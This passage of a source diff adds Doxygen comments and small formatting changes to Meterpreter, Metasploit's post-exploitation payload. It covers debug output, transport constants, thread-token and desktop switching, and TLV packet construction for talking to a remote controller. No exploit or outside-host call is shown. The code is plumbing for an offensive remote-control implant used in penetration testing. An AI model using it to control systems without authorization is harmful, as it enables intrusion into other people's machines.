SYSTEMTIME system_time;
|
||||
FILETIME file_time;
|
||||
@ -19,7 +26,10 @@ int current_unix_timestamp(void) {
|
||||
|
||||
#include <sys/time.h>
|
||||
|
||||
// This function returns a unix timestamp in UTC
|
||||
/*!
|
||||
* @brief Returns a unix timestamp in UTC.
|
||||
* @return Integer value representing the UTC Unix timestamp of the current time.
|
||||
*/
|
||||
int current_unix_timestamp(void) {
|
||||
struct timeval tv;
|
||||
struct timezone tz;
|
||||
@ -37,10 +47,15 @@ int current_unix_timestamp(void) {
|
||||
int debugging_enabled;
|
||||
|
||||
/*
|
||||
* If we supply real_dprintf in the common.h, each .o file will have a private copy of that symbol.
|
||||
* This leads to bloat. Defining it here means that there will only be a single implementation of it.
|
||||
*/
|
||||
|
||||
/*!
|
||||
* @brief Output a debug string to the debug console.
|
||||
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed
|
||||
* using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_.
|
||||
* @remark If we supply real_dprintf in the common.h, each .o file will have a private copy of that symbol.
|
||||
* This leads to bloat. Defining it here means that there will only be a single implementation of it.
|
||||
*/
|
||||
void real_dprintf(char *filename, int line, const char *function, char *format, ...)
|
||||
{
|
||||
va_list args;
|
||||
|
@ -1,3 +1,7 @@
|
||||
/*!
|
||||
* @file common.h
|
||||
* @brief Declarations for various common components used across the Meterpreter suite.
|
||||
*/
|
||||
#ifndef _METERPRETER_SOURCE_COMMON_COMMON_H
|
||||
#define _METERPRETER_SOURCE_COMMON_COMMON_H
|
||||
|
||||
@ -145,8 +149,11 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
||||
|
||||
#include "zlib/zlib.h"
|
||||
|
||||
#define METERPRETER_TRANSPORT_SSL 0
|
||||
#define METERPRETER_TRANSPORT_HTTP 1
|
||||
/*! @brief Indication that the Meterpreter transport is using SSL. */
|
||||
#define METERPRETER_TRANSPORT_SSL 0
|
||||
/*! @brief Indication that the Meterpreter transport is using HTTP. */
|
||||
#define METERPRETER_TRANSPORT_HTTP 1
|
||||
/*! @brief Indication that the Meterpreter transport is using HTTPS. */
|
||||
#define METERPRETER_TRANSPORT_HTTPS 2
|
||||
|
||||
#ifdef _WIN32
|
||||
@ -154,7 +161,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
||||
|
||||
#include <wininet.h>
|
||||
|
||||
// Enable debugging
|
||||
/*! @brief When defined, debug output is enabled. */
|
||||
//#define DEBUGTRACE 1
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
@ -163,15 +170,26 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
||||
#define dprintf(...) do{}while(0);
|
||||
#endif
|
||||
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d", str, dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
|
||||
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d", str, dwResult ); continue; }
|
||||
|
||||
// Simple macros to close a handle and set the handle to NULL.
|
||||
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
|
||||
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
|
||||
/*! @brief Close a handle if not already closed and set the handle to NULL. */
|
||||
#define CLOSE_HANDLE( h ) if( h ) { DWORD dwHandleFlags; if(GetHandleInformation( h , &dwHandleFlags)) CloseHandle( h ); h = NULL; }
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
/*!
|
||||
* @brief Output a debug string to the debug console.
|
||||
* @details The function emits debug strings via `OutputDebugStringA`, hence all messages can be viewed
|
||||
* using Visual Studio's _Output_ window, _DebugView_ from _SysInternals_, or _Windbg_.
|
||||
*/
|
||||
static void real_dprintf(char *format, ...) {
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
@ -180,6 +198,7 @@ static void real_dprintf(char *format, ...) {
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
|
@ -1,26 +1,44 @@
|
||||
/*!
|
||||
* @file core.c
|
||||
* @brief Definitions of core components of the Meterpreter suite.
|
||||
* @details Much of what exists in the core files is used in almost every area
|
||||
* of the Meterpreter code base, and hence it's very important. Don't
|
||||
* change this stuff unless you know what you're doing!
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
DWORD packet_find_tlv_buf(Packet *packet, PUCHAR payload, DWORD payloadLength, DWORD index,
|
||||
TlvType type, Tlv *tlv);
|
||||
|
||||
/*! @brief List element that contains packet completion routine details. */
|
||||
typedef struct _PacketCompletionRoutineEntry
|
||||
{
|
||||
LPCSTR requestId;
|
||||
PacketRequestCompletion handler;
|
||||
struct _PacketCompletionRoutineEntry *next;
|
||||
LPCSTR requestId; ///< Id of the request.
|
||||
PacketRequestCompletion handler; ///< Handler to call on completion.
|
||||
struct _PacketCompletionRoutineEntry *next; ///< Pointer to the next compleiont routine entry.
|
||||
} PacketCompletionRoutineEntry;
|
||||
|
||||
/*!
|
||||
* @brief Reference to the list of packet completion routines.
|
||||
* @details This pointer is a singularly-linked list which contains references
|
||||
* to PacketCompletionRouteEntry items, each of which is processed
|
||||
* when packet_call_completion_handlers is invoked.
|
||||
*/
|
||||
PacketCompletionRoutineEntry *packetCompletionRoutineList = NULL;
|
||||
|
||||
/************
|
||||
* Core API *
|
||||
************/
|
||||
|
||||
/*
|
||||
* Transmit a single string to the remote connection with instructions to
|
||||
* print it to the screen or whatever medium has been established.
|
||||
/*!
|
||||
* @brief Print a remote console message.
|
||||
* @details Transmit a single string to the remote connection with instructions
|
||||
* to print it to the screen or whatever medium has been established.
|
||||
* @param remote Pointer to the \c Remote instance that the message should be
|
||||
sent to
|
||||
* @param fmt Format string.
|
||||
* @param ... Varargs that will be printed to the \c fmt format string.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet.
|
||||
* @retval ERROR_SUCCESS Transmission was successful.
|
||||
*/
|
||||
DWORD send_core_console_write(Remote *remote, LPCSTR fmt, ...)
|
||||
DWORD send_core_console_write( Remote *remote, LPCSTR fmt, ... )
|
||||
{
|
||||
Packet *request = NULL;
|
||||
CHAR buf[8192];
|
||||
@ -58,16 +76,17 @@ DWORD send_core_console_write(Remote *remote, LPCSTR fmt, ...)
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* XXX
|
||||
/*!
|
||||
* @todo I have no idea why this is here, need someone else to explain.
|
||||
*/
|
||||
HANDLE core_update_thread_token(Remote *remote, HANDLE token)
|
||||
HANDLE core_update_thread_token( Remote *remote, HANDLE token )
|
||||
{
|
||||
HANDLE temp = NULL;
|
||||
#ifdef _WIN32
|
||||
|
||||
lock_acquire( remote->lock );
|
||||
do {
|
||||
do
|
||||
{
|
||||
temp = remote->hThreadToken;
|
||||
|
||||
// A NULL token resets the state back to the server token
|
||||
@ -78,12 +97,11 @@ HANDLE core_update_thread_token(Remote *remote, HANDLE token)
|
||||
remote->hThreadToken = token;
|
||||
|
||||
// Close the old token if its not one of the two active tokens
|
||||
if(temp && temp != remote->hServerToken && temp != remote->hThreadToken) {
|
||||
if( temp && temp != remote->hServerToken && temp != remote->hThreadToken ) {
|
||||
CloseHandle(temp);
|
||||
}
|
||||
|
||||
} while(0);
|
||||
|
||||
|
||||
lock_release( remote->lock );
|
||||
#else
|
||||
/*
|
||||
@ -93,11 +111,15 @@ HANDLE core_update_thread_token(Remote *remote, HANDLE token)
|
||||
return(token);
|
||||
}
|
||||
|
||||
/*
|
||||
* Update the session/station/desktop to be used by multi threaded meterpreter for desktop related operations.
|
||||
* We dont store the handles as it is more convienient to use string,s especially as we cant use the regular API
|
||||
* to break out of sessions.
|
||||
* Note: It is up to the caller to free any station/desktop name provided as internally we use strdup.
|
||||
/*!
|
||||
* @brief Update the session/station/desktop to be used by multi threaded meterpreter for desktop related operations.
|
||||
* @details We dont store the handles as it is more convienient to use strings, especially as we cant use the regular API
|
||||
* to break out of sessions.
|
||||
* @remark It is up to the caller to free any station/desktop name provided as internally we use \c strdup.
|
||||
* @param remote Pointer to the remote connection.
|
||||
* @param dwSessionID ID of the session which contains the window station in \c cpStationName.
|
||||
* @param cpStationName Name of the window station that contains the desktop in \c cpDesktopName.
|
||||
* @param cpDesktopName Name of the desktop to switch to.
|
||||
*/
|
||||
VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationName, char * cpDesktopName )
|
||||
{
|
||||
@ -142,14 +164,14 @@ VOID core_update_desktop( Remote * remote, DWORD dwSessionID, char * cpStationNa
|
||||
lock_release( remote->lock );
|
||||
#endif
|
||||
}
|
||||
/*******************
|
||||
* Packet Routines *
|
||||
*******************/
|
||||
|
||||
/*
|
||||
* Create a packet of a given type (request/response) and method.
|
||||
/*!
|
||||
* @brief Create a packet of a given type (request/response) and method.
|
||||
* @param type The TLV type that this packet represents.
|
||||
* @param method TLV method type (can be \c NULL).
|
||||
* @return Pointer to the newly created \c Packet.
|
||||
*/
|
||||
Packet *packet_create(PacketTlvType type, LPCSTR method)
|
||||
Packet *packet_create( PacketTlvType type, LPCSTR method )
|
||||
{
|
||||
Packet *packet = NULL;
|
||||
BOOL success = FALSE;
|
||||
@ -191,11 +213,14 @@ Packet *packet_create(PacketTlvType type, LPCSTR method)
|
||||
return packet;
|
||||
}
|
||||
|
||||
/*
|
||||
* Create a response packet from a request, referencing the requestors
|
||||
/*!
|
||||
* @brief Create a response packet from a request.
|
||||
* @details Create a response packet from a request, referencing the requestors
|
||||
* message identifier.
|
||||
* @param request The request \c Packet to build a response for.
|
||||
* @return Pointer to a new \c Packet.
|
||||
*/
|
||||
Packet *packet_create_response(Packet *request)
|
||||
Packet *packet_create_response( Packet *request )
|
||||
{
|
||||
Packet *response = NULL;
|
||||
Tlv method, requestId;
|
||||
@ -240,8 +265,9 @@ Packet *packet_create_response(Packet *request)
|
||||
return response;
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroy the packet context and the payload buffer
|
||||
/*!
|
||||
* @brief Destroy the packet context and the payload buffer.
|
||||
* @param packet Pointer to the \c Packet to destroy.
|
||||
*/
|
||||
VOID packet_destroy( Packet * packet )
|
||||
{
|
||||
@ -279,28 +305,46 @@ VOID packet_destroy( Packet * packet )
|
||||
free( packet );
|
||||
}
|
||||
|
||||
/*
|
||||
* Add a TLV as a string, including the null terminator.
|
||||
/*!
|
||||
* @brief Add a string value TLV to a packet, including the \c NULL terminator.
|
||||
* @param packet Pointer to the packet to add the value to.
|
||||
* @param type TLV type for the value.
|
||||
* @param str Pointer to the string value to add to the packet.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
|
||||
*/
|
||||
DWORD packet_add_tlv_string(Packet *packet, TlvType type, LPCSTR str)
|
||||
DWORD packet_add_tlv_string( Packet *packet, TlvType type, LPCSTR str )
|
||||
{
|
||||
return packet_add_tlv_raw(packet, type, (PUCHAR)str, (DWORD)strlen(str) + 1);
|
||||
}
|
||||
|
||||
/*
|
||||
* Add a TLV as a string, including the null terminator.
|
||||
/*!
|
||||
* @brief Add a unsigned integer value TLV to a packet.
|
||||
* @param packet Pointer to the packet to add the value to.
|
||||
* @param type TLV type for the value.
|
||||
* @param val The value to add to the packet.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
|
||||
*/
|
||||
DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val)
|
||||
DWORD packet_add_tlv_uint( Packet *packet, TlvType type, UINT val )
|
||||
{
|
||||
val = htonl(val);
|
||||
|
||||
return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(val));
|
||||
}
|
||||
|
||||
/*
|
||||
* Add a TLV as a QWORD.
|
||||
/*!
|
||||
* @brief Add a quad-work value TLV to a packet.
|
||||
* @param packet Pointer to the packet to add the value to.
|
||||
* @param type TLV type for the value.
|
||||
* @param val The value to add to the packet.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
|
||||
*/
|
||||
DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val )
|
||||
DWORD packet_add_tlv_qword( Packet *packet, TlvType type, QWORD val )
|
||||
{
|
||||
val = htonq( val );
|
||||
|
||||
@ -308,18 +352,32 @@ DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val )
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Add a TLV as a bool.
|
||||
/*!
|
||||
* @brief Add a boolean value TLV to a packet.
|
||||
* @param packet Pointer to the packet to add the value to.
|
||||
* @param type TLV type for the value.
|
||||
* @param val The value to add to the packet.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
|
||||
*/
|
||||
DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val)
|
||||
{
|
||||
return packet_add_tlv_raw(packet, type, (PUCHAR)&val, 1);
|
||||
}
|
||||
|
||||
/*
|
||||
* Add a TLV group. A TLV group is a TLV that contains multiple sub-TLVs
|
||||
/*!
|
||||
* @brief Add a group TLV to a packet.
|
||||
* @details A TLV group is a TLV that contains multiple sub-TLVs.
|
||||
* @param packet Pointer to the packet to add the value to.
|
||||
* @param type TLV type for the value.
|
||||
* @param entries Pointer to the array of TLV entries to add.
|
||||
* @param numEntries Count of the number of TLV entries in the \c entries array.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
|
||||
*/
|
||||
DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries)
|
||||
DWORD packet_add_tlv_group( Packet *packet, TlvType type, Tlv *entries, DWORD numEntries )
|
||||
{
|
||||
DWORD totalSize = 0,
|
||||
offset = 0,
|
||||
@ -369,23 +427,37 @@ DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD num
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Add an array of TLVs
|
||||
/*!
|
||||
* @brief Add an array of TLVs to a packet.
|
||||
* @param packet Pointer to the packet to add the values to.
|
||||
* @param entries Pointer to the array of TLV entries to add.
|
||||
* @param numEntries Count of the number of TLV entries in the \c entries array.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
|
||||
*/
|
||||
DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries)
|
||||
DWORD packet_add_tlvs( Packet *packet, Tlv *entries, DWORD numEntries )
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0; index < numEntries; index++)
|
||||
packet_add_tlv_raw(packet, entries[index].header.type, entries[index].buffer, entries[index].header.length);
|
||||
packet_add_tlv_raw(packet, (TlvType)entries[index].header.type, entries[index].buffer, entries[index].header.length);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Add an arbitrary TLV whose data is to be compressed with zlib.
|
||||
/*!
|
||||
* @brief Add a raw value TLV to a packet, with compression.
|
||||
* @details The value given in the \c buf parameter will be compressed with zlib.
|
||||
* @param packet Pointer to the packet to add the value to.
|
||||
* @param type TLV type for the value.
|
||||
* @param buf Pointer to the data that is to be compressed and added.
|
||||
* @param length Number of bytes in \c buf to compress.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
|
||||
*/
|
||||
DWORD packet_add_tlv_raw_compressed(Packet *packet, TlvType type, LPVOID buf, DWORD length)
|
||||
DWORD packet_add_tlv_raw_compressed( Packet *packet, TlvType type, LPVOID buf, DWORD length )
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD headerLength = sizeof( TlvHeader );
|
||||
@ -446,10 +518,18 @@ DWORD packet_add_tlv_raw_compressed(Packet *packet, TlvType type, LPVOID buf, DW
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Add an arbitrary TLV
|
||||
/*!
|
||||
* @brief Add an arbitrary raw value TLV to a packet.
|
||||
* @details The value given in the \c buf parameter will _not_ be compressed.
|
||||
* @param packet Pointer to the packet to add the value to.
|
||||
* @param type TLV type for the value.
|
||||
* @param buf Pointer to the data that is to be added.
|
||||
* @param length Number of bytes in \c buf to add.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available.
|
||||
*/
|
||||
DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length)
|
||||
DWORD packet_add_tlv_raw( Packet *packet, TlvType type, LPVOID buf, DWORD length )
|
||||
{
|
||||
DWORD headerLength = sizeof(TlvHeader);
|
||||
DWORD realLength = length + headerLength;
|
||||
@ -462,9 +542,9 @@ DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length)
|
||||
|
||||
// Allocate/Reallocate the packet's payload
|
||||
if (packet->payload)
|
||||
newPayload = (PUCHAR)realloc(packet->payload, newPayloadLength);
|
||||
newPayload = (PUCHAR)realloc( packet->payload, newPayloadLength );
|
||||
else
|
||||
newPayload = (PUCHAR)malloc(newPayloadLength);
|
||||
newPayload = (PUCHAR)malloc( newPayloadLength );
|
||||
|
||||
if (!newPayload)
|
||||
return ERROR_NOT_ENOUGH_MEMORY;
|
||||
@ -473,7 +553,7 @@ DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length)
|
||||
((LPDWORD)(newPayload + packet->payloadLength))[0] = htonl(realLength);
|
||||
((LPDWORD)(newPayload + packet->payloadLength))[1] = htonl((DWORD)type);
|
||||
|
||||
memcpy(newPayload + packet->payloadLength + headerLength, buf, length);
|
||||
memcpy( newPayload + packet->payloadLength + headerLength, buf, length );
|
||||
|
||||
// Update the header length and payload length
|
||||
packet->header.length = htonl(ntohl(packet->header.length) + realLength);
|
||||
@ -483,10 +563,17 @@ DWORD packet_add_tlv_raw(Packet *packet, TlvType type, LPVOID buf, DWORD length)
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Checks to see if a tlv is null terminated
|
||||
/*!
|
||||
* @brief Check if a TLV is NULL-terminated.
|
||||
* @details The function checks the data within the range of bytes specified by
|
||||
* the \c length property of the TLV \c header.
|
||||
* @param tlv Pointer to the TLV to check.
|
||||
* @return Indication of whether the TLV is terminated with a \c NULL byte or not.
|
||||
* @retval ERROR_SUCCESS A \c NULL byte is present.
|
||||
* @retval ERROR_NOT_FOUND No \c NULL byte is present.
|
||||
* @sa TlvHeader
|
||||
*/
|
||||
DWORD packet_is_tlv_null_terminated(Packet *packet, Tlv *tlv)
|
||||
DWORD packet_is_tlv_null_terminated( Tlv *tlv )
|
||||
{
|
||||
if ((tlv->header.length) && (tlv->buffer[tlv->header.length - 1] != 0))
|
||||
return ERROR_NOT_FOUND;
|
||||
@ -494,84 +581,132 @@ DWORD packet_is_tlv_null_terminated(Packet *packet, Tlv *tlv)
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the type of the packet
|
||||
/*!
|
||||
* @brief Get the TLV type of the packet.
|
||||
* @param packet Pointer to the packet to get the type from.
|
||||
* @return \c PacketTlvType for the given \c Packet.
|
||||
*/
|
||||
PacketTlvType packet_get_type(Packet *packet)
|
||||
PacketTlvType packet_get_type( Packet *packet )
|
||||
{
|
||||
return (PacketTlvType)ntohl(packet->header.type);
|
||||
return (PacketTlvType)ntohl( packet->header.type );
|
||||
}
|
||||
|
||||
TlvMetaType packet_get_tlv_meta(Packet *packet, Tlv *tlv)
|
||||
/*!
|
||||
* @brief Get the TLV meta-type of the packet.
|
||||
* @param packet Pointer to the packet to get the meta-type from.
|
||||
* @return \c TlvMetaType for the given \c Packet.
|
||||
*/
|
||||
TlvMetaType packet_get_tlv_meta( Packet *packet, Tlv *tlv )
|
||||
{
|
||||
return TLV_META_TYPE_MASK(tlv->header.type);
|
||||
return TLV_META_TYPE_MASK( tlv->header.type );
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the TLV of the given type
|
||||
/*!
|
||||
* @brief Get a TLV of a given type from the packet.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param type Type of TLV to get.
|
||||
* @param tlv Pointer to the TLV that will receive the data.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_FOUND Unable to find the TLV.
|
||||
*/
|
||||
DWORD packet_get_tlv(Packet *packet, TlvType type, Tlv *tlv)
|
||||
DWORD packet_get_tlv( Packet *packet, TlvType type, Tlv *tlv )
|
||||
{
|
||||
return packet_enum_tlv(packet, 0, type, tlv);
|
||||
return packet_enum_tlv( packet, 0, type, tlv );
|
||||
}
|
||||
|
||||
/*
|
||||
* Get a TLV as a string
|
||||
/*!
|
||||
* @brief Get a string TLV from the packet.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param type Type of TLV to get.
|
||||
* @param tlv Pointer to the TLV that will receive the data.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_FOUND Unable to find the TLV or the string
|
||||
* value is not NULL-terminated.
|
||||
*/
|
||||
DWORD packet_get_tlv_string(Packet *packet, TlvType type, Tlv *tlv)
|
||||
DWORD packet_get_tlv_string( Packet *packet, TlvType type, Tlv *tlv )
|
||||
{
|
||||
DWORD res;
|
||||
|
||||
if ((res = packet_get_tlv(packet, type, tlv)) == ERROR_SUCCESS)
|
||||
res = packet_is_tlv_null_terminated(packet, tlv);
|
||||
if ((res = packet_get_tlv( packet, type, tlv )) == ERROR_SUCCESS)
|
||||
res = packet_is_tlv_null_terminated( tlv );
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Enumerate a TLV group (a TLV that consists other multiple sub-TLVs) and
|
||||
* finds the first match of a given type, if it exists.
|
||||
/*!
|
||||
* @brief Get a TLV of a given type from a group TLV in the packet.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param group Pointer to the group TLV to get the value from.
|
||||
* @param type Type of TLV to get.
|
||||
* @param tlv Pointer to the TLV that will receive the data.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_FOUND Unable to find the TLV.
|
||||
*/
|
||||
DWORD packet_get_tlv_group_entry(Packet *packet, Tlv *group, TlvType type, Tlv *entry)
|
||||
DWORD packet_get_tlv_group_entry( Packet *packet, Tlv *group, TlvType type, Tlv *entry )
|
||||
{
|
||||
return packet_find_tlv_buf( packet, group->buffer, group->header.length, 0, type, entry);
|
||||
return packet_find_tlv_buf( packet, group->buffer, group->header.length, 0, type, entry );
|
||||
}
|
||||
|
||||
/*
|
||||
* Enumerate a TLV, optionally of a specified typed.
|
||||
/*!
|
||||
* @brief Enumerate a TLV (with the option of constraining its type).
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param type Type of TLV to get (optional).
|
||||
* @param tlv Pointer to the TLV that will receive the data.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_SUCCESS The operation completed successfully.
|
||||
* @retval ERROR_NOT_FOUND Unable to find the TLV.
|
||||
*/
|
||||
DWORD packet_enum_tlv(Packet *packet, DWORD index, TlvType type, Tlv *tlv)
|
||||
DWORD packet_enum_tlv( Packet *packet, DWORD index, TlvType type, Tlv *tlv )
|
||||
{
|
||||
return packet_find_tlv_buf( packet, packet->payload, packet->payloadLength, index, type, tlv);
|
||||
return packet_find_tlv_buf( packet, packet->payload, packet->payloadLength, index, type, tlv );
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the value of a string TLV
|
||||
/*!
|
||||
* @brief Get the string value of a TLV.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param type Type of TLV to get (optional).
|
||||
* @return Pointer to the string value, if found.
|
||||
* @retval NULL The string value was not found in the TLV.
|
||||
* @retval Non-NULL Pointer to the string value.
|
||||
*/
|
||||
PCHAR packet_get_tlv_value_string(Packet *packet, TlvType type)
|
||||
PCHAR packet_get_tlv_value_string( Packet *packet, TlvType type )
|
||||
{
|
||||
Tlv stringTlv;
|
||||
PCHAR string = NULL;
|
||||
|
||||
if (packet_get_tlv_string(packet, type, &stringTlv) == ERROR_SUCCESS)
|
||||
if (packet_get_tlv_string( packet, type, &stringTlv ) == ERROR_SUCCESS)
|
||||
string = (PCHAR)stringTlv.buffer;
|
||||
|
||||
return string;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the value of a UINT TLV
|
||||
/*!
|
||||
* @brief Get the unsigned int value of a TLV.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param type Type of TLV to get (optional).
|
||||
* @return The value found in the TLV.
|
||||
* @todo On failure, 0 is returned. We need to make sure this is the right
|
||||
* thing to do because 0 might also be a valid value.
|
||||
*/
|
||||
UINT packet_get_tlv_value_uint(Packet *packet, TlvType type)
|
||||
UINT packet_get_tlv_value_uint( Packet *packet, TlvType type )
|
||||
{
|
||||
Tlv uintTlv;
|
||||
|
||||
if ((packet_get_tlv(packet, type, &uintTlv) != ERROR_SUCCESS) ||(uintTlv.header.length < sizeof(DWORD)))
|
||||
if ((packet_get_tlv( packet, type, &uintTlv ) != ERROR_SUCCESS) || (uintTlv.header.length < sizeof(DWORD)))
|
||||
return 0;
|
||||
|
||||
return ntohl(*(LPDWORD)uintTlv.buffer);
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the raw value of a TLV.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param type Type of TLV to get (optional).
|
||||
* @return The value found in the TLV.
|
||||
*/
|
||||
BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type )
|
||||
{
|
||||
Tlv tlv;
|
||||
@ -582,10 +717,15 @@ BYTE * packet_get_tlv_value_raw( Packet * packet, TlvType type )
|
||||
return tlv.buffer;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the value of a QWORD TLV
|
||||
/*!
|
||||
* @brief Get the quad-word value of a TLV.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param type Type of TLV to get (optional).
|
||||
* @return The value found in the TLV.
|
||||
* @todo On failure, 0 is returned. We need to make sure this is the right
|
||||
* thing to do because 0 might also be a valid value.
|
||||
*/
|
||||
QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type)
|
||||
QWORD packet_get_tlv_value_qword( Packet *packet, TlvType type )
|
||||
{
|
||||
Tlv qwordTlv;
|
||||
|
||||
@ -595,25 +735,38 @@ QWORD packet_get_tlv_value_qword(Packet *packet, TlvType type)
|
||||
return ntohq( *(QWORD *)qwordTlv.buffer );
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the value of a bool TLV
|
||||
/*!
|
||||
* @brief Get the boolean value of a TLV.
|
||||
* @param packet Pointer to the packet to get the TLV from.
|
||||
* @param type Type of TLV to get (optional).
|
||||
* @return The value found in the TLV.
|
||||
* @todo On failure, FALSE is returned. We need to make sure this is the right
|
||||
* thing to do because FALSE might also be a valid value.
|
||||
*/
|
||||
BOOL packet_get_tlv_value_bool(Packet *packet, TlvType type)
|
||||
BOOL packet_get_tlv_value_bool( Packet *packet, TlvType type )
|
||||
{
|
||||
Tlv boolTlv;
|
||||
BOOL val = FALSE;
|
||||
|
||||
if (packet_get_tlv(packet, type, &boolTlv) == ERROR_SUCCESS)
|
||||
if (packet_get_tlv( packet, type, &boolTlv ) == ERROR_SUCCESS)
|
||||
val = (BOOL)(*(PCHAR)boolTlv.buffer);
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
/*
|
||||
* Add an exception to a packet
|
||||
/*!
|
||||
* @brief Add an exception to a packet.
|
||||
* @details When adding an exception, both a TLV_EXCEPTION_CODE and TLV_EXCEPTION_STRING
|
||||
* are added to the packet.
|
||||
* @param packet Pointer to the packet to add the detail to.
|
||||
* @param code Exception code.
|
||||
* @param fmt Form string for the exception string.
|
||||
* @param ... Varargs for the format string.
|
||||
* @return Indication of success or failure.
|
||||
* @retval ERROR_NOT_ENOUGH_MEMORY Unable to allocate memory for the request packet.
|
||||
* @retval ERROR_SUCCESS Transmission was successful.
|
||||
*/
|
||||
DWORD packet_add_exception(Packet *packet, DWORD code,
|
||||
PCHAR fmt, ...)
|
||||
DWORD packet_add_exception( Packet *packet, DWORD code, PCHAR fmt, ... )
|
||||
{
